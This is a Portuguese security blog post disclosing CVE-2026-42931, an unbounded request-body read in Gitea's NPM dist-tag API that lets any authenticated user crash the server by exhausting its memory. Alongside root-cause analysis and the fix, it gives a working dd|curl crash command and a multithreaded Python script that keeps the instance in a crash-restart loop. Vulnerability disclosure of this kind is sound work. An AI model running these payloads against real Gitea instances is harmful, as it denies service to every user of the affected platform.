Abstract
Quanto de memória uma pequena requisição destinada a alterar a tag de um pacote deveria consumir?
Em condições normais, apenas alguns bytes. Afinal, o endpoint analisado neste artigo espera receber somente uma string contendo a versão de um pacote NPM, como "1.0.0". Entretanto, durante a análise do Package Registry do Gitea, foi identificado um comportamento que permitia transformar essa operação aparentemente inofensiva em uma condição de negação de serviço contra toda a instância.
A aplicação carregava integralmente o corpo da requisição HTTP na memória antes de validar seu conteúdo ou verificar se o pacote informado realmente existia. Dessa forma, o volume de memória alocado pelo processo do Gitea poderia ser controlado indiretamente por um usuário remoto.
A exploração não exigia privilégios administrativos, acesso aos pacotes de outros usuários ou interação de uma vítima. Um usuário autenticado precisava apenas enviar um corpo suficientemente grande para um endpoint disponível em seu próprio namespace de pacotes.
Mas o que aconteceria se, em vez de uma pequena versão NPM, o cliente enviasse centenas de megabytes?
Dependendo da memória disponível e da arquitetura de implantação, uma única requisição poderia encerrar o processo do Gitea. Requisições concorrentes também poderiam manter a aplicação em um ciclo contínuo de encerramentos e reinicializações, afetando todos os repositórios, pacotes, issues, integrações e serviços hospedados na instância.
A vulnerabilidade foi reproduzida no Gitea 1.26.2 e estava presente no código de desenvolvimento anterior ao lançamento da versão 1.27.0. A correção foi disponibilizada no Gitea 1.27.0, lançado em 12 de julho de 2026, e a falha recebeu o identificador CVE-2026-42931.
Sobre o Gitea
Tenho consciência de que a maior parte dos leitores deste blog provavelmente já conhece o Gitea ou, ao menos, já encontrou alguma instância durante atividades de desenvolvimento, administração de infraestrutura ou pentest. Ainda assim, um breve contexto ajuda a dimensionar o impacto da vulnerabilidade apresentada neste artigo.
O Gitea é uma plataforma DevOps self-hosted e de código aberto voltada à hospedagem e ao gerenciamento de repositórios Git. Além das operações tradicionais de versionamento, a plataforma oferece revisão de código, gerenciamento de issues, pull requests, projetos, colaboração entre equipes, Package Registry e pipelines de CI/CD por meio do Gitea Actions. A documentação oficial descreve o produto como um serviço de desenvolvimento completo e autocontido, semelhante a plataformas como GitHub, GitLab e Bitbucket.
A aplicação é desenvolvida predominantemente em Go e pode ser implantada como um único binário, serviço de sistema ou contêiner. Instalações em Docker frequentemente utilizam bancos de dados como PostgreSQL ou MySQL e podem ser posicionadas atrás de proxies reversos como NGINX, Caddy ou Traefik.
O componente relevante para esta pesquisa é o Package Registry, mais especificamente sua implementação compatível com o ecossistema NPM.
Esse recurso permite que usuários e organizações publiquem pacotes diretamente na instância do Gitea e gerenciem suas versões e dist-tags. No ecossistema NPM, uma dist-tag funciona como um alias associado a uma versão específica, como:
latest -> 1.5.0
next -> 2.0.0-beta.1
stable -> 1.4.8Em vez de instalar explicitamente uma versão, um consumidor pode solicitar uma tag:
npm install pacote@latestA API analisada nesta pesquisa era responsável justamente por criar ou alterar essa associação.
Por concentrar código-fonte, pacotes, processos de colaboração e automações, a indisponibilidade de uma instância Gitea pode ultrapassar o impacto de uma simples interrupção da interface web. Dependendo da arquitetura da organização, o incidente pode afetar simultaneamente desenvolvimento, distribuição de dependências, pipelines de integração contínua e processos de implantação.
Detalhes Técnicos
A causa raiz da CVE-2026-42931 estava em uma leitura não limitada do corpo da requisição HTTP dentro da função AddPackageTag. A função AddPackageTag, localizada em routers/api/packages/npm/npm.go, era responsável por associar uma dist-tag a uma versão específica de um pacote NPM. O corpo da requisição deveria conter apenas a string da versão alvo, como "1.0.0".
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
body, err := io.ReadAll(ctx.Req.Body) // SEM LIMITE DE TAMANHO
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
version := strings.Trim(string(body), "\"")
// ...
}A chamada io.ReadAll(ctx.Req.Body) na linha 336 lia o corpo inteiro da requisição para a memória antes de qualquer validação. Não havia verificação do tamanho do payload, não havia limite configurado e não havia uso de buffers intermediários com spill-to-disk.
A rota era registrada em routers/api/packages/api.go:
// routers/api/packages/api.go:430-436
r.Group("/-/package/{id}/dist-tags", func() {
// ...
r.Group("/{tag}", func() {
r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
r.Delete("", npm.DeletePackageTag)
})
})Por que io.ReadAll() causa Out-of-Memory
Em Go, io.ReadAll() lê dados de um io.Reader para um slice de bytes ([]byte) que cresce dinamicamente. Quando o volume de dados recebidos excede a memória disponível, o runtime tenta alocar um backing array maior. Essa alocação falha e dispara um erro irrecuperável:
runtime.throw("out of memory")Diferente de uma exceção tratável, esse erro encerra o processo inteiro, não apenas a goroutine que processava a requisição. O resultado é a terminação imediata do servidor Gitea.
Ausência de limites no servidor
O Gitea implementa limites de tamanho por tipo de pacote através da configuração LIMIT_SIZE_* definida em modules/setting/packages.go. No entanto, esses limites eram aplicados apenas durante o upload de pacotes (UploadPackage), não na operação de tagging.
A função mustBytes() configurava o padrão como ilimitado quando nenhum valor era especificado:
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
const noLimit = "-1"
value := section.Key(key).MustString(noLimit) // padrão: "-1"
if value == noLimit {
return -1
}
// ...
}Mesmo que um administrador configurasse LIMIT_SIZE_NPM, o endpoint AddPackageTag não consultava esse valor. A leitura ocorria antes de qualquer verificação.
HashedBuffer não era utilizado
Para uploads de pacotes, o Gitea utiliza o HashedBuffer, que mantém até 32 MiB em memória e transfere o excedente para disco:
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024 // 32 MiB — seguro, com spill-to-diskEsse mecanismo protegia a operação de upload contra consumo excessivo de memória. Entretanto, AddPackageTag não utilizava o HashedBuffer. A função chamava io.ReadAll() diretamente, ignorando toda a infraestrutura de proteção:
// npm.go:336 — ignora o HashedBuffer
body, err := io.ReadAll(ctx.Req.Body) // lê tudo para RAM, sem limiteRequisitos de acesso
A rota AddPackageTag exigia permissão de escrita sobre o namespace do pacote através do middleware reqPackageAccess(perm.AccessModeWrite). Porém, a verificação em services/context/package.go:155-157 concedia automaticamente permissão de owner quando o usuário autenticado coincidia com o dono do namespace:
// services/context/package.go:155-L157
if doer.ID == pkgOwner.ID {
accessMode = perm.AccessModeOwner
}Ou seja, qualquer usuário autenticado possuía acesso de escrita ao próprio namespace de pacotes. Não era necessário que o pacote existisse previamente nem que o atacante tivesse acesso a pacotes de terceiros.
O ponto crítico está na ordem de execução: o OOM ocorria na linha 336 (io.ReadAll), antes da consulta ao banco na linha 343:
body, err := io.ReadAll(ctx.Req.Body) // linha 336 — OOM acontece aqui
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...) // linha 343 — nunca executadaFluxo de exploração
A cadeia de exploração pode ser resumida em:
- Atacante cria conta na instância Gitea (auto-registro habilitado por padrão) ou obtém uma credencial de baixo privilégio
- Atacante envia requisição PUT para
/api/packages/{seu-usuario}/npm/-/package/{qualquer}/dist-tags/{qualquer} - O corpo da requisição contém centenas de megabytes de dados arbitrários
AddPackageTagchamaio.ReadAll()e tenta alocar memória para todo o payload- A alocação falha quando excede a memória disponível
- O runtime Go encerra o processo com
runtime.throw("out of memory") - Todos os usuários da instância perdem acesso a repositórios, pacotes, issues e integrações
Com requisições concorrentes, o atacante poderia manter a aplicação em um ciclo contínuo de crash e reinicialização, mesmo quando políticas de restart automático estivessem configuradas.
Proof of Concept
A reprodução foi realizada em um ambiente Docker com memória limitada a 512 MiB. Essa configuração simula um cenário real onde recursos são finitos e permite observar o comportamento do OOM de forma controlada.
Preparação do ambiente
Um ambiente equivalente pode ser criado com Docker Compose:
services:
gitea:
image: gitea/gitea:1.26.2
container_name: gitea-cve-2026-42931
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__service__DISABLE_REGISTRATION=false
ports:
- "3000:3000"
mem_limit: 512mInicialização:
docker compose up -dDepois de iniciar o serviço:
- Acesse
http://127.0.0.1:3000 - Finalize a instalação inicial
- Crie um usuário comum, por exemplo
user1com senhaPassword123! - Confirme que o usuário consegue autenticar-se
Exploração: crash com uma única requisição
O comando abaixo envia aproximadamente 400 MiB de dados (cerca de 80% da memória do contêiner) para o endpoint vulnerável:
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
-X PUT \
-H "Content-Type: application/json" \
--data-binary @- \
"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
--max-time 120O payload consiste em bytes nulos (\x00). Não há necessidade de construir um payload especial, dados arbitrários são suficientes, pois a falha ocorre durante a alocação de memória, antes de qualquer processamento do conteúdo.
O parâmetro {owner} na URL deve corresponder ao nome do usuário autenticado. O nome do pacote (anything) e da tag (latest) podem ser qualquer string válida, já que o OOM ocorre antes da verificação de existência do pacote.
Verificação do crash
Após enviar a requisição, o servidor deixa de responder:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Resultado esperado: connection refused (server is dead)Exploração: negação de serviço persistente
Mesmo com políticas de restart automático (restart: always), requisições concorrentes podem manter o servidor em um ciclo de crash. O script Python abaixo demonstra esse cenário:
import threading, requests, itertools
payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024) # 500 MiB
i = itertools.count(1)
def worker():
s = requests.Session()
while True:
n = next(i)
try:
s.put(
f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
data=payload,
auth=("user1", "A@12345678"),
timeout=120
)
except Exception:
pass
for _ in range(20):
threading.Thread(target=worker, daemon=True).start()
__import__('signal').pause()Com 20 threads enviando requisições continuamente, o servidor entra em um ciclo onde cada reinicialização é seguida por um novo OOM antes que possa processar requisições legítimas.
Impacto
O impacto principal da CVE-2026-42931 é a perda completa da disponibilidade da instância Gitea:
- Uma única requisição é suficiente para derrubar o servidor
- O payload é trivial: bytes nulos funcionam, sem necessidade de compressão ou formatação especial
- Requisições concorrentes mantêm o serviço indisponível mesmo com restart automático
- O custo de banda é baixo, o atacante envia aproximadamente 80% da memória disponível do servidor (ex.: ~400 MiB para instância de 512 MiB)
- O ataque não depende de ações de outros usuários ou administradores
Quem é afetado
- Todas as instâncias com Package Registry habilitado: o recurso vem ativo por padrão
- Qualquer usuário autenticado pode explorar: não são necessários privilégios administrativos
- Auto-registro amplia a superfície: com registro aberto (padrão), um atacante não autenticado pode criar uma conta e imediatamente executar o ataque
- Todos os serviços da instância ficam indisponíveis: repositórios, pacotes, issues, pull requests, Gitea Actions e integrações
Correção
A correção foi implementada no Pull Request #38406 (commit f69e15a) e disponibilizada no Gitea 1.27.0.
O que mudou
A chamada io.ReadAll() foi substituída por uma leitura limitada utilizando io.LimitReader():
// routers/api/packages/npm/npm.go:333-L341 — versão corrigida
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
const maxBodySize = 4 * 1024 // 4 KiB
body, err := io.ReadAll(io.LimitReader(ctx.Req.Body, maxBodySize))
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
// ...
}Por que a correção funciona
O io.LimitReader() encapsula o io.Reader original e limita a quantidade de bytes que podem ser lidos. Quando o limite é atingido, leituras subsequentes retornam io.EOF, impedindo que io.ReadAll() continue alocando memória.
O limite de 4 KiB (4.096 bytes) é adequado para o caso de uso legítimo. Uma string de versão semântica como "1.0.0-beta.1+build.12345" raramente excede algumas dezenas de bytes. O novo limite oferece ampla margem para versões válidas enquanto bloqueia payloads maliciosos.
Com essa alteração, mesmo que um atacante envie gigabytes de dados, o servidor alocará no máximo 4 KiB na memória antes de encerrar a leitura.
Atualização recomendada
Administradores devem atualizar para o Gitea 1.27.0 ou superior o mais rápido possível. A atualização pode ser realizada através dos canais oficiais:
# Docker
docker pull gitea/gitea:1.27.0
# Binário
wget https://dl.gitea.com/gitea/1.27.0/gitea-1.27.0-linux-amd64
chmod +x gitea-1.27.0-linux-amd64
# Substituir o binário existente e reiniciar o serviçoConclusão
A vulnerabilidade de leitura ilimitada do corpo HTTP no Gitea representa um risco significativo para organizações que dependem dessa solução para hospedagem de código e automação de desenvolvimento. A capacidade de derrubar toda a instância com uma única requisição autenticada demonstra como falhas em operações aparentemente triviais podem comprometer infraestruturas críticas.
O comprometimento de uma plataforma DevOps centralizada tem implicações além de uma simples indisponibilidade. Pipelines de CI/CD param. Deploys falham. Desenvolvedores perdem acesso ao código-fonte. Dependências hospedadas no Package Registry ficam inacessíveis para todos os projetos que as consomem. Em ambientes onde o Gitea é peça central da infraestrutura, o impacto se propaga para toda a cadeia de desenvolvimento.
Esta publicação alerta a comunidade técnica sobre as implicações de segurança do uso de io.ReadAll() sem limites em servidores web Go, e reforça a importância de validação de tamanho em todas as operações que processam dados externos.
Agradeço à equipe do Gitea pelo profissionalismo e comunicação transparente durante o processo de divulgação coordenada.
Referências
- GitHub Security Advisory - GHSA-wwqq-x6w4-frm2
- CVE Record - CVE-2026-42931
- Gitea 1.27.0 Release Announcement
- Pull Request #38406 - Various Security Fixes
- Código corrigido - routers/api/packages/npm/npm.go
- Código vulnerável - routers/api/packages/npm/npm.go
- Registro da rota - routers/api/packages/api.go
- CWE-770 - Allocation of Resources Without Limits or Throttling
- Documentação oficial do Gitea